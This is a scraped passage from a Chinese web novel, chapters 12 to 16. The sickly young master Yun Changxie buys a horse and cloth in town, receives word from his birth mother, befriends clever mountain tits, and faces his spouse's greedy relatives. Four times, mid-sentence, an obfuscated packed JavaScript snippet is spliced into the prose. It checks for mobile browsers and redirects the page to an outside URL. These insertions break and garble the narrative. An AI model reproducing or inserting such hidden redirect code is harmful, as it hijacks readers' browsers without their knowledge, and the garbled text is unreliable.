为了不让其他人知道,美肤膏是云长歇做的。这个美肤膏,云长歇要想办法卖到更远的地方去。最好不要在他们镇上和县里卖,而是想办法拿到其他县或者府城卖。 但是现在云长歇身体不好,也不方便长途跋涉去其他地方,想要卖美肤膏估计还要再等等。 次日早上起来,云长歇没有如同往日一样,拉着苏青箬先读一个时辰的书。而是一大早简单的收拾了一下,他准备和梁婶他们一起去镇上。 之前他让梁婶去镇上买布,梁婶一直没有时间去。 今天梁婶终于有空去镇上了,云长歇见自己状态很不错,就想要跟着一起去逛逛。 梁婶去,甜桑也要去。 云长歇去,苏青箬没道理一个人待在家里。 所以云长歇大手一挥,就决定大家一起去镇上。 他们去的时候,坐的是村里的牛车。 牛车一个人要二文钱,还不一定天天能去,牛车看着也不怎么干净,云长歇想着不如他们买一匹马。 若是能够自己有一匹马,他们以后去镇上,或者拉点东西,都要比现在方便很多。 他们这里一匹马,大约十吊钱左右。 十吊钱,就是十两银子。 一头牛,五到八吊钱。 一头骡子,两到五吊钱。 云长歇的手里,一共有一百二十三两银子。 他先是给了梁婶二十两花用,后来又给了梁婶五两银子买布,这一来一回就去了二十五两。 加上最近他吃药,买鹅,买狗,陆陆续续又花了二两银子。 如今云长歇的手里,差不多还有九十六两银子。 这些银子如果只用来吃喝穿用,用个一年的时间没有问题。 但是如果加上他吃药,读书,估计四五个月就要见底了。 想到昨天做出来的美肤膏,暂时没办法立刻变成银子,看来他还要想其他赚钱的法子。 一行人坐着颠簸的牛车,晃晃悠悠的到了镇子上。 云长歇想要买马,就带着苏青箬先去了牙行,梁婶与甜桑去买布买米面。 他们这里的牙行,不仅可以买马,买牛,买骡子……也是买卖奴仆的地方。 云长歇长相不俗,一看就是那种家里富养出来的公子哥。所以当他刚刚进入牙行,牙行里就有不少人注意到了他。 见云长歇似乎对马有些兴趣,一个汉子就热情的开始介绍他家的马。 他家的马,是一匹成年马,看起来十分壮实,但是眼底却透着病气。 这种病气别人兴许看不出来,云长歇却能十分容易分辨出来。 他自己本身就是个病人,对于病气要比其他人更加敏感。 加上最近他一直在修炼驭兽术,鸟兽蛇虫的情绪他很容易感知到。 他能够感觉到,这匹马的心情很不好,大概是因为真的病了,病马和病人一样,比较容易情绪消极。 汉子见云长歇一直盯着他的马,还以为云长歇这是看上他的马,便忍不住更加的卖力推销起来。 云长歇瞥了他一眼,“这匹马多少钱?” 汉子:“十吊钱。” 云长歇闻言,皱着眉摇了摇头。 他来之前问过行情,这里最好最贵的马才十吊钱。 这个汉子的马病了,他没有告知云长歇就算了,还一开口就要价这样高,很明显是个心黑的家伙。 见云长歇转身要走,汉子连忙着急的说:“公子,你若是看上了这匹马,价格咱们可以商量的。” “你这一匹马病了,根本不值这个钱。你却没有告诉我,还张口就要十两,你这人做生意不实在。” 汉子闻言心里一紧,他的马确实生病了,但是不是什么大病。他想着马生病了,也不会说话,只要他不告诉别人,别人很难发现的。他的马卖相不错,带到这边来肯定能卖个好价钱。 如今他的马生病这件事,被这个公子当众给戳穿了。周围有不少的人都听见了,之后想要卖高价肯定要难了。 汉子一脸的苦涩,他可怜巴巴拦着云长歇与他商量起来。 “不然,这样吧,公子,这匹马我卖你八吊钱。我这匹马可是好马啊,你看看它的身量,这样大的一匹好马,一般都能卖到十吊钱的。” 云长歇摇头,“六吊钱,一匹病马我买回去还要照顾它,这样的马能不能养活还不一定,到时候万一养死了我岂不是亏大了?” “怎么可能会养死啊,这个都在衙门备过档案的,绝对不会卖给你个死马的。不然这样吧,七吊钱,我七吊钱卖给你……” 两个人又一来一回磨了半盏茶的功夫,最后以六两五百文的价格达成了共识。 苏青箬看着跟人讲价的云长歇,他一直以为云长歇是个读书人,是个心气很高很傲慢的人。 如今看到对方为了五百文钱,与卖马人砍了这么久的价格,才发现云长歇还挺接地气的。 这样也好,对方知道节省银钱,这才像是个过日子的人。 买了马,自然少不了舆。 舆,是马车的车厢。 在他们这里,车厢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他们过来的时候,梁婶已经买好了米面粮,此时正打算进布庄选布。 云长歇见状,立刻领着苏青箬跟着梁婶进了布庄。 苏青箬很少来镇上,更没有进过这种看起来就很贵的布庄。 他一开始还有点拘谨,下意识扯了扯身上破旧的衣衫。后来见到布庄老板娘还算客气,并没有因为他穿得穷酸看低他,他紧绷的身体这才慢慢放松下来。 老板娘看得出来云长歇像个有钱人,他的身边还跟了个周正的奴仆,一看就不是什么小门小户。 再加上,云长歇一直在问苏青箬想要什么颜色的布,她自然就明白要如何对待苏青箬了。 “哎呦,这个小哥儿长得可真是白净啊,这么白净的哥儿就应该选素净的。” 梁婶闻言笑着解释道:“这位是我们家主夫,已经不是小哥儿了。你帮忙挑选几匹鲜亮点的,这样做成衣服穿也喜庆。” 13. 第 13 章 老板娘闻言有点惊讶,她以为苏青箬是云长歇家里的远方亲戚什么呢。 主要是云长歇一身的贵气,看起来又像是个读书人。而苏青箬长得虽然好看,但是模样瘦了点,黑了点,一看就是乡下的哥儿。 差距这样大的两个人,看着就不像是小夫夫。 不过她惊讶归惊讶,还是很快就笑着说道:“呵呵,你们家夫郎长得显小,我还以为他还没嫁人呢。” 在他们这个地方,夸哥儿或者女子长得显小,就是长得显年轻的意思,很多哥儿和女子都喜欢被这样夸。 老板娘这样说着,就从柜台后面抱出来了几匹颜色艳丽的棉布。 布,也分为很多种。 有粗麻,细麻,棉布,细锦,云锦,壮锦等等。 他们这就是个小镇子,没有太多的富贵人家。她这个小小布庄里,也就没有卖那些价格昂贵的锦缎。 她这里主要售卖的,就是麻布,棉布,细锦,以及一些皮革。 其中麻布是最好卖的,这里的麻布颜色自然也就比较多。 若是寻常人家来买布,她肯定会推荐那些麻布给他们。 但是面前这位公子富贵,他给他家夫郎买布做衣衫,自然肯定是要用棉布的。 老板娘指着其中一匹布道:“这种丁香色怎么样,这种紫中透粉的颜色,镇上很多夫郎都喜欢?” 云长歇点了点头,“这样一匹布要多少钱?” “这种颜色鲜亮的棉布,一匹要三百文。” 三百文可不算便宜,梁婶下意识皱了皱眉,指着那些不染色的棉布问:“那……那些棉布呢?” “那些啊,那些一匹二百六十文。” 不染色的棉布太素了,加上这个时代很少有人一身浅色或一身白色。很多人家买那种不染色的布,实际上回去也会自己想办法染色。 “那麻布呢?” “麻布啊,粗麻一匹一百四,细麻一匹一百八。不染色的麻布,可以便宜二十文。” 梁婶听完看向云长歇,云长歇不在身边时她可以做主,云长歇在身边时就是他做主。 哪怕云长歇尊称她一声婶子,但是他们谁是主子谁是奴仆还是需要分清楚的。 云长歇见状开口说道:“这样吧,先买六匹棉布,两匹粗麻,四匹细麻。” 棉布肯定要染色的,这个时候还没有科技狠活,带颜色的布看起来也漂亮,也没有比不染色的贵多少。 当然了,这个是云长歇自己以为的,实际上贵了四十文,可不是一个小数目。 很多人家为了节省钱,都会选择买回去自己染。但是想要自己染布,光是费时费力就挺麻烦的,还不一定就能染得均匀好看。 云长歇觉得有那个精力自己染布,他都能够想出很多赚钱的法子了。 云长歇穿越之前不食人间烟火,穿越之后原主也是个公子哥。 他对于古代的银钱,其实一直没有一个具体的概念,与正常古代人还是有些差距的。 所以在花钱方面,他就比较的大手大脚,不像是个会过日子的。 不过好在,他有个疼他的师父,对方在他穿越之前,就为他做好了准备。就算他这一辈子碌碌无为,也可以靠着空间里的那些宝贝衣食无忧。 …… 棉布买了两匹丁香色,一匹胭脂红,一匹耦合色,一匹葱绿色,一匹天水碧。 粗麻布,主要为了做鞋和布包之类的,两匹要的都是天青色。 细麻,买了两匹天青色,和两匹正清色。 买好了布,他们就抱着布出了布庄。 苏青箬有点恍惚,他怀里抱了一匹耦合色的布。云长歇说了这些颜色鲜亮的,大多数都是给他做衣服买的。 他哪里穿过这样鲜亮的颜色,他以前的衣服都是一些粗麻布,还是那种不带什么颜色的。 如今一下子买了这么多布,还说让他随便从里面选喜欢的,苏青箬就有一种不真实的感觉,整个人像是踩在了棉花上一样。 梁婶把布放到马车上,她见现在天色还早着呢,就打算再去买点其他的。 梁婶看着云长歇说:“公子应该已经累了,这样吧,公子在车上等着老奴,让甜桑陪在公子的身边。至于主夫……” 她看了看精神头很不错的苏青箬,她知道苏青箬很少能来镇上玩,没有哥儿不喜欢出来逛街的,就想要带着他在镇上多转转。 等到苏青箬对镇上熟悉了,以后他就可以自己带着甜桑来逛街了。到时候苏青箬还需要学着管家,这买东西的事情也要交到他的手里。 “主夫的身体好,就跟着老奴一起去买东西吧?” 苏青箬闻言点了点头,他不累,他很少有机会来镇上,确实想要继续去逛街。 等到苏青箬跟梁婶离开,甜桑把马车拉到了路边一颗树下。他把缰绳拴在了树上,让云长歇在马车上休息。 他们的马车座位很小,上面只能坐三个人。如今马车上放了布和粮食,估计就只能勉强坐两个人了。 公子与主夫不会驾车,他们回去的时候,不是梁婶驾车就是甜桑驾车。这样一看,最后他们之中有两个人还要搭乘别人的车回去。 就在甜桑这边苦恼着,是他驾车还是让梁婶驾车的时候。一辆带车厢的马车,突然在他们旁边停了下来。 甜桑扭头往马车那边看去,就看到一个三十来岁的女子下了马车。 女子生了一张圆脸,左边眼角长了泪痣,模样看起来有点熟悉。 不等甜桑认出她来,女子就朝着他们这边走了过来,然后泪眼婆娑的看着车上的云长歇。 甜桑见状猛然想起来了,这人好像……好像是三公子生母的侍女。 三公子的生母柳氏,之前是云家的一个普通婢女,她是靠着爬床生下的三公子。 因为不怎么体面,加上三夫人善妒,她在生下三公子后,就被老夫人送去了云家老家。 云家老家在隔壁县,如今老家那边已经没有什么人,只有云家族里的一些老人还在。 云家大房二房在京城,走的时候带走了不少族人,三房一家子在秋平县,说一句老家那边没什么人也不算过分。 三公子很小的时候,跟着生母在老家住过一段时间。后来随着年纪大了,他就被接到了秋平县来。 估计是柳氏知道了儿子重病的消息,所以这才派人偷偷过来看望他的。 事实上,还真的被甜桑猜对了。 这几年柳氏靠着一间铺子,手里头就攒了一点积蓄。在云家老家没有主母欺负她,她的日子过得还是挺舒心的。 唯一让她不舒心的是,最近听说她的儿子重病了。她很想要过来看看他,但是碍于三夫人却不能回来,就只能让侍女偷偷回来看看。结果没有想到侍女的运气不错,才到镇上她就遇见了云长歇。 是的,就算她现在住在隔壁县,她也知道公子的长相。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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云长歇不是个刻薄之人,他并不希望柳氏与他的关系,像是原文之中那样误会重重。 箐珊:“主子听闻公子重病了,她就一直心绪不宁的,就让奴婢过来看看你。” 云长歇笑了笑,“我的病已无大碍,你回去告诉娘不要太过担忧。” 箐珊闻言似乎有点不信,她上上下下打量了公子半晌。 他们家公子自幼身体就不大好,如今他看起来脸色依旧很苍白,不过公子的精气神还算不错的。 箐珊见状稍微安下心来,然后就想起了柳氏让她捎带的东西。 “主子给公子写了一封信,还让奴婢把这些银子交给公子。” 箐珊拿出了一封书信,还拿出来了一个荷包。 云长歇现在确实缺钱,不过还没有缺到要亲娘贴补的地步,所以他并不打算要柳氏给的钱。 但是不要钱,他又担心柳氏会忍不住多想。所以他思来想去了一番,就找了个帮忙写书信的摊位,花了几文钱借了纸和笔。 这种帮忙写书信的摊位,光是他们这样一个小镇就有好几个。 他们都是读书人,很多都是因为家境贫寒,才不得不摆摊赚钱的。 云长歇简单写了一封书信,然后让箐珊带回去交给柳氏。有了他的书信,柳氏应该不会多想了。 箐珊不能在这边久待,一是担心被三夫人知道了,二是忧心隔壁县的柳氏。如今她见到了云长歇,云长歇的状态还算不错,她又拿到了他的书信,就立刻急匆匆的离开了。 14.第 14 章 箐珊离开没多久,梁婶他们就回来了。 之后他们回村子时,是梁婶赶马车带苏青箬回去的。路上梁婶要教苏青箬赶车,还要教他如何管家和管账。 他们家的马车小,云长歇与甜桑没有办法,就只能雇了个牛车回去。 牛车要比马车慢很多,等到云长歇他们回到村里,苏青箬他们早就到家了。 苏青箬拿了纸和笔,正在梁婶的指导下学记账。看到云长歇与甜桑回来了,梁婶立刻跟云长歇解释了一下。 “公子,如今公子已经有夫郎了,很多事就要交到夫郎手里。夫郎娘家那边没有教过他管家,老奴只好逾越亲自来教导他了,还望公子不要觉得老奴多事才好。” 梁婶是好意,这一点云长歇与苏青箬都明白。 云长歇也觉得,苏青箬应该试着学会掌家。 别小瞧了掌家这件事情,其中弯弯绕绕有不少的门道。若是苏青箬能够学会了,肯定能从中获益不小。 比如算账,不管以后苏青箬做什么,他自己会算账也不担心被人哄弄了。 比如他以后嫁到大户人家,也不用担心下面的奴仆仗着他什么都不懂欺负他。 云长歇点了点头,“他也嫁进门半年有余,确实应该试着学习管家了,这件事情就麻烦梁婶了。” 梁婶闻言放下心来,之后更加用心教导苏青箬。 苏青箬学习了一个时辰记账,算账,心里其实是觉得有点无聊的。 不过好在,他这个人分好歹,他知道梁婶是为了他好,便只好耐着心好好学。 晚上的时候,云长歇在房里看柳氏给他写的信。信上的内容分为两部分,一部分诉说她对他的想念,一部分是对他身体的担忧。 上一世云长歇只有师父,观里的人也大多数是男性,他真的不大会应对女人。 好在这个女人,不是别人,是他这一世的娘。不管对方以前如何,对他总归不会有什么坏心。 在云长歇看信的时候,另一边苏青箬去了梁婶房里量尺寸。 梁婶一边量一边对苏青箬道:“那些布主夫选好了没?马上天气就要热了,选好了,老奴就可以给主夫做新衣了。” 苏青箬摇了摇头,他觉得那些颜色都太鲜亮了,不适合他这种乡下哥儿。 他实在是不敢想象,他穿着那样招摇的颜色出去,会被村子里的人如何指指点点。 “没有选,也没有关系,那就现在去选。” 梁婶量完尺寸,就拉着苏青箬去选布料。 一共六匹棉布,其中那匹天水碧的是给公子的,剩下的五匹都紧着苏青箬来。 夏天的衣衫单薄,样式也简单。 一匹布,给哥儿或者女子做衣服,差不多可以做个五六套。 给身量高的男子做,就只能做个四套左右。 做秋天或者冬天的衣服,就会稍微的比较费布些。 不过好在如今夏天没有到,秋天与冬天的衣服倒是不用那么着急。 苏青箬看了看剩下五匹布,下意识指了指那匹葱绿色的。 这些布里面,就这匹颜色低调点,剩下的他都不敢穿。 梁婶见状便笑着说道:“夏天的衣服,至少要做三套,不然换不过来。主夫选了一套葱绿的,再选两套其他颜色的吧。” 苏青箬闻言有点为难,他抬眸看着梁婶一脸的纠结。 梁婶聪明,似乎猜到了他在担心什么,便笑着对他说道:“怕什么,主夫就算不穿这些衣服,那些喜欢说闲话的依旧会说。他们会说,主夫都嫁给云家公子了,还落魄的没一身好衣服。不要管他们说什么,这些布是公子给你选的,你穿上他选的布做的衣裳,公子见了心里会很开心的。” 其实这些布的颜色,真的不算多么花哨。 小镇上的布除了颜色亮点,实际上根本不够看的。 梁婶跟着老夫人去过京城,京城的那些布庄才叫让人眼花缭乱。 那些布,不仅布料稀有,很多布上还带着各种花纹。 那才叫漂亮,才叫招摇呢。 因为那边的哥儿与姑娘,都穿着那样漂亮的衣服,反倒是不显得多么招摇了。 苏青箬没有见过世面,只是几匹颜色亮点的布,就让畏手畏脚不敢穿。 这一点确实小家子气,她要想办法好好锻炼锻炼他,以后才不至于丢公子的脸。 之后甜桑也来选布,他性格活泼,大方,还热情。他先是给自己选了布,就开始怂恿身边的苏青箬。 “我选的是丁香色的,嘿嘿,老板娘说这颜色在镇上,很多姑娘和哥儿都喜欢。反正公子一口气买了两匹,主夫你也选这个颜色做身衣服呗。” 苏青箬想了想,便有点腼腆的点了点头。 见苏青箬点了头,甜桑就拉着他选最后一套。 “再选一套吧,我告诉你啊,我的绣活很好的,到时候我给你在衣服上绣些小花,你穿上我做的衣服绝对会非常漂亮。” 苏青箬想说,没有必要这样麻烦。他不在乎漂亮不漂亮的,衣服也没有必要那么麻烦。 但是他转念一想,他漂不漂亮好像事关云长歇的脸面。 不管云长歇如何落魄,他毕竟是知县大人家的公子,他还是要为对方的脸面着想的。 苏青箬这样想着,指了指那匹胭脂红的布。 这一匹布那么漂亮艳丽,做成衣服一定非常漂亮,就,就当做是他的嫁衣吧。 至于剩下的那匹耦合色的不,这种颜色比较浅比较的素,梁婶打算给苏青箬做两身替换的里衣。 苏青箬选好布料,从梁婶那边回去时,云长歇已经歇下了。 云长歇的身体不好,古代夜里光线昏暗,也不怎么适合读书。所以一到了晚上,云长歇就会歇下的比较早。 苏青箬进了房里,轻手轻脚掩上门,就发现福旺今天没有在他们房里。 今天福旺被甜桑抱走了,他觉得公子最近身体好了一些,说不定会想要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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至于云长歇拿出这样好的丹药,会不会引起柳氏那边的怀疑? 原主自幼身体不好,不管是云家还是柳氏,为他寻了不少名医。 原主这样的身体,经常接触各种名医并不是什么奇怪的事情。 云长歇在书信里,已经把丹药的来历说清楚了。 他说他这一次重病能好起来,是因为他遇见了一个游历的名医,这才侥幸从鬼门关活了回来。 如今他的身体已经大好,知道柳氏年轻时眼睛不大好,就为柳氏跟那位名医讨了丹药。 这一次来镇上,是云长歇与甜桑一起来的。云长歇办完事情,就和甜桑一起回了村里。路上的时候,云长歇跟甜桑学习如何驾车。等到他的身体好起来,以后完全可以自己来镇上。 15.第 15 章 主仆两个人回到家里,云长歇就从马车上拿下来了一个包裹,里面是他给苏青箬,梁婶,甜桑买的成衣。 虽然说已经买了布,他们可以自己做衣服,但是自己做衣服费时间,还不知道何时才能做好。 加上苏青箬他们,都没有太多的衣服。云长歇就觉得这个钱,暂时还是省不了的。 所以他买衣服的时候,不仅给苏青箬买了两身,还给梁婶和甜桑也一人买了一身。 梁婶见状忍不住说了一句,“公子何必浪费这个银钱啊?” 甜桑闻言也道:“是啊,公子,我们都是下人,有一身衣服就成了,何必要浪费这个钱。” 甜桑这般说着,却没有跟云长歇客气。 他看了那两身衣服,明显是给哥儿女子买的,衣服的样式也不如给主夫的好,他们收下也不用担心主夫心里不舒服。 给苏青箬买的两套衣服,一套是蔻梢色的,上面绣了荷青色竹叶花纹。另一套是天青色的,衣袖与衣领上绣了云纹。 买的衣服都是春装,样式十分简单大方。 云长歇把衣服给苏青箬,就让他拿回房里试一试,若是不合适还能去换。 苏青箬自己回了房,然后对着铜镜试了试两套衣服。 第一套大小刚刚好,第二套腰身胖了一点,不过对于苏青箬来说,胖一点没有什么关系。 此时苏青箬的脑子,完全被好看的衣服占据了。他一直以为他长得很普通,如今看到了镜子里的自己后,才发现其实他长得也挺好看的。 这个时候,他就忍不住想起了一句话,“人靠衣裳马靠鞍”,看来只要长相不太差,稍微收拾一下也能变好看。 试了新衣服,苏青箬心里很喜欢,他见外面天色还早,就和甜桑一起去河边洗衣服。 成衣铺的老板说,这些衣服做好之后,就特意清洗过了。 不过就算如此,苏青箬觉得想要真正上身还是要好好洗洗。 刚好甜桑也要洗衣服,主仆两个人就一起出了家门。 福旺在家里没有什么事情,看到苏青箬出门它犹豫了一下,就摇晃着尾巴跟了出去。 等到家里只有云长歇与梁婶,梁婶在厨房里为了晚饭做准备,云长歇就坐在窗前准备看书。 然后就在这个时候,连续几日没有出现的山雀,叽叽喳喳的落在了他面前。 它们似乎找到了什么好东西,正在用云长歇听不懂的语言,十分兴奋的跟他诉说着。 可惜云长歇的驭兽术不大到家,根本没有办法听懂它们的话。 云长歇见实在是听不懂,便想到了一个好主意。 “你们是找到了什么好东西吗?不然……这样吧,你们带着我去看看?” 他听不懂山雀们的话,山雀们却能听懂他的。 于是两只山雀“吵吵嚷嚷”的,开始在前面给云长歇带路。 其他的山雀没有跟着一起,而是四散开来去了其他地方。 云长歇一路跟着它们走了好久,在山脚下一片草丛前停了下来。 他有点累了,看着还在前面催促他的山雀们,云长歇有一种不好的预感,他觉得它们好像要带他上山。 山雀确实想要带他进山,它们在山里发现了很多好东西。 可惜它们太小,只能给他带回来一些树枝树叶,却没有办法带回来更大的东西。 它们知道云长歇身体不好,想到大山里有很多草药,就想要给他弄些补身体。 随着它们开智时间越久,它们就会比之前越聪明。 当然了,也不是所有开了智的山雀,都能够变得越来越聪明的。 之前它们一共有六只山雀开智,其中只有两只变得越来越聪明,剩下的四只反而变得越来越笨了。 变得越来越聪明的两只山雀,正是在云长歇面前给他引路这两只。 剩下的四只估计过不了多久,就会慢慢变成了普通的山雀。 云长歇仰头看着它们说:“我估计没有那个体力,去山里找你们说的宝贝。” 两只山雀花了一点时间,理解了云长歇话里的意思,就失望的落在了他肩头。 云长歇见状有点想笑,他一边慢慢往回走一边安慰它们道:“没有关系的,你们不要着急,我的身体已经在恢复了,等到我的身体再好一些,到时候再和你们去山里。” 两只山雀很着急,也很无奈。 它们让云长歇进山,不是为了陪它们玩的,而是想要给他找药的。 那些药是好东西,它们见一些野兽生病后会食用它们,那些药肯定都是一些好东西。 云长歇回去的路上,发现这两只山雀格外的聪明,就想在家里给它们弄个笼子。 碰见了雨雪天,或者大风的天气,它们就可以来家里躲一躲。 云长歇是想到什么就做什么的性格,他在路过村子里的一个木匠家时,就让对方帮忙做了一个木制鸟笼。 刚好木匠家里就有现成的鸟笼,是他之前做着玩打算卖钱的。云长歇过来定制鸟笼,木匠就直接卖给了他。 一个鸟笼十文钱,云长歇让对方帮忙把鸟笼的门给拆了,这才付了钱拎着鸟笼回去了。 木匠颠了颠手里的十文钱,十分不理解这些读书人的想法。 他嘀嘀咕咕道:“鸟笼,鸟笼,不就是用来关鸟的?他不要门,这还怎么关鸟?” 云长歇拎着鸟笼回去时,苏青箬他们洗衣服已经回来了。 甜桑看了看他手里的鸟笼,伸手就想要帮忙找个地方挂起来。 云长歇见状躲开了,“不用,这个我自己来。” 甜桑闻言点了点头,随即就看到他手里的鸟笼是没有门的。 “公子,你这个鸟笼怎么没有门啊?” 云长歇走到了屋檐下,微微垫脚就把鸟笼挂了起来。 “因为它不是用来关鸟的。” “那是来做什么的?” “是用来给鸟住的,它们想要过来住就住进去,不想住了就可以自己飞走。” 甜桑闻言完全不理解,他不理解云长歇,一旁的苏青箬倒是有点理解。 苏青箬见过有些鸟不怕云长歇,甚至他驱赶它们,它们都不怕的。这个鸟笼子,应该是给那几只鸟准备的。 事实上,还真是的。 因为次日苏青箬起床推开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15360747|167934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窗,就看到窗外的鸟笼住了鸟。是两只山雀,看起来个头要比之前那几只胖了很多。 他从厨房摸了一小把小米,就撒在了他们房间的窗台上。 两只山雀根本不怕他,一只跑下来直接开吃,另一只往他的头上飞。 苏青箬忍不住轻笑了一声,伸手就把头上的山雀赶了下去。 之后他与云长歇一起读书练字,等到外面日头升起来了,云长歇就出去散步锻炼身体。 如今他的身体稍微好了点,就需要慢慢开始进行锻炼了。刚开始的时候不能着急,可以先从慢慢散步开始。 苏青箬对他不怎么放心,见他要出去就跟了上去。 苏青箬想着,云长歇的身体不好,就算要出去散步,也没办法走太久。刚好他这会儿没什么事,可以陪着对方到处走走。 这时候天色还早,如今正是春耕忙碌的事情。 今天苏青箬换上了新衣,正是那套天青色的。这套衣服是棉的,做工十分精细,上面绣纹也很漂亮。 唯一不大好的就是,这一套稍微的胖了点。穿在身量很瘦的苏青箬身上,看起来有一点空空荡荡的。 两个人是吃了早饭出来的,苏青箬的胃口好,饭量大,梁婶担心他没有吃饱,还给他塞了个鸡蛋在手里。 苏青箬一边走一边剥鸡蛋,见云长歇正垂着眼眸看着他,便朝着云长歇举了举他的鸡蛋。 他在问云长歇,是不是想吃鸡蛋? 云长歇见状摇了摇头,他的身体不好,运动量不大,加上经常吃药,就没有什么胃口。 身体不好的人,嘴巴似乎总是苦苦的,吃东西就没有别人香。 苏青箬见云长歇不吃,这才张嘴往自己的嘴里塞。 他吃东西很快,一颗鸡蛋只需要两口。 等到苏青箬把鸡蛋吃完,两个人就沿着村口那条路往山脚下慢慢走。 路上有不少看见了他们,远远地跟他们打了个招呼。看到苏青箬身上换了新衣裳,每个人心里的想法都不一样。 有人替苏青箬感到开心,觉得苏青箬总算是熬出头了,以后终于可以过好日子了。 有人心里忍不住十分嫉妒,觉得苏青箬真是走大运了,不然也轮不到他嫁给云公子。 还有人唯恐天下不乱,看到苏青箬这边稍微过得好一点,就立刻把事情告诉了苏老三夫夫。 因为之前云长歇对苏青箬不好,苏青箬嫁过去连个饭都不管。 苏老三夫夫见到苏青箬的惨状,每次看到苏青箬都离得远远的,生怕苏青箬跑回来跟家里要饭吃。 所以那个时候苏老三夫夫两个人,是巴不得没有苏青箬这个哥儿的。 如今听说,苏青箬与云长歇的关系缓和了,云长歇还给他买了身新衣服穿,苏老三家的夫郎就带着小儿子,厚着脸皮跑到了云长歇院子来。 他们过来的时候,云长歇正在逗弄福旺,他拿着一块杂面饼子,让福旺追在饼子后面。 福旺也没有多么喜欢吃这种饼子,它就是年纪小,爱玩爱闹。 它见主人用这种方式跟它玩,便装出一脸很喜欢饼子的模样,真的追在饼子身后跑来跑去。 16.第 16 章 然后就是这个时候,苏老三家的夫郎陈氏就拉着小儿子登门了。 苏老三家的这个小儿子,今年才八岁。 是个鼻涕邋遢,三角眼,有点秃的熊孩子。 明明他上面的哥哥姐姐长得都挺好看的,也不知道为什么到他这里就变异了。 苏青箬是苏家五个孩子里最好看的,这个小儿子就是五个里面最丑的。 至于为什么说他是熊孩子? 是因为这个小孩在原文里,简直就是个极品人渣的存在。 别看他的年纪不大,在原文里他可是干过卖自己亲姐姐的勾当。 是的,没有错。 在他十岁的时候,他把他四姐卖给了隔壁村一个泼皮。 他四姐,就比他大两岁。 也就是说,他在十岁的时候,把十二岁的姐姐卖了。 不止如此,这孩子还做过为了二十文钱,把他家三哥哥骗去村外树林,差一点被个货郎奸污的事。 呵呵。 而一个孩子能做出这种事,除了他本身就是个坏种之外,还跟他父亲与爹爹宠溺有关。 别看苏老三家这么穷,他们儿子却过着土皇帝的日子,在家里使唤几个哥哥姐姐,就像是在使唤奴婢一样。 他十四五的时候,还因为懒让回娘家的哥哥姐姐给他洗澡呢。 然而就算如此,苏老三与陈氏也不觉得他不对。 他们觉得他还是个孩子,懒一点,废物一点没有关系。反正等到他成婚了,自然有他媳妇伺候他。等到他的媳妇老了,下面还有他的孩子伺候他。 云长歇见他们突然登门,就猜到他们是想干什么的。 无非是看到,苏青箬的日子好起来了,想要靠着苏青箬捞好处。 只是可惜了,他不是他们苏家的孩子,可不是他们想拿捏就拿捏的。 云长歇看见他们进来也没有招呼,陈氏见状心里就忍不住有点不满。 但是不管他如何不满,这里不是在他们家,他也不敢随意造次。 陈氏笑了笑,拉着身边的儿子走上前来。 “哎呦,哥婿啊,我们是来看望我们家箬哥儿的。箬哥儿自从嫁给你之后,人还没有正式回过门呢。我们今天过来呢,就是想要来问问你,什么时候让他回门?” 云长歇闻言,这才抬起了眼眸。他像是看傻子一样看着他,然后毫不客气的拒绝了。 “他不会回门的。” “为什么啊?不管如何他都是我们家的哥儿,你们娶了人总不能不让回娘家吧?” “你们当初拿银子时,可不是这样说的。”云长歇这样说着,语气里像是带针一样扎人。 回门,说的是成婚后第三天,或者第六天,九天……的时候,女婿带着礼物与妻子回妻子娘家。苏青箬已经嫁过来半年了,就算要回门时间也早过了。 更别提,苏青箬不是正经嫁来的,而是被苏家卖给三夫人的。 当初,苏家为了多拿一些彩礼,他们就说自此以后苏青箬跟他们家没有关系了。 乡下普通人家,嫁哥儿嫁女儿,彩礼一般四五两。稍微好一点的,顶多要个十来两。 苏老三一个普通农户,却狮子大开口要五十两。五十两可不是个小数目,寻常人家谁敢这样要啊? 苏老三他们当初这样要,就是摆明不要苏青箬了。 苏青箬嫁过来的半年里,一直受原主与下人的磋磨。苏家人就住在村里,对苏青箬却不闻不问的。 如今苏青箬的日子,稍微过得好了一点,就立刻眼巴巴黏上来。 云长歇不想跟苏家走这门亲戚,心里更看不上苏家这样的人家。 他不会管,苏青箬私底下偷偷贴补弟弟妹妹。苏青箬的弟弟妹妹确实可怜,稍微贴补一点也没有关系。 但是他可怜那几个弟弟妹妹,不代表他愿意承认苏家这个亲家。 陈氏大概是没有想到,看起来温文尔雅的云家三公子,一张嘴说出来的话会这样无情。 他的表情有点挂不住,想要撒泼,又害怕得罪了人,以后人家会报复他。 就在他尴尬的杵在那里时,苏青箬背着背篓从外面回来了。 猛然间看到陈氏与弟弟出现在这里,苏青箬的心里就忍不住一阵紧张。 他飞快的扫了云长歇一眼,见云长歇看起来还算平和,这才一脸不满的看向陈氏。 他抬手,示意陈氏他们跟他出去。 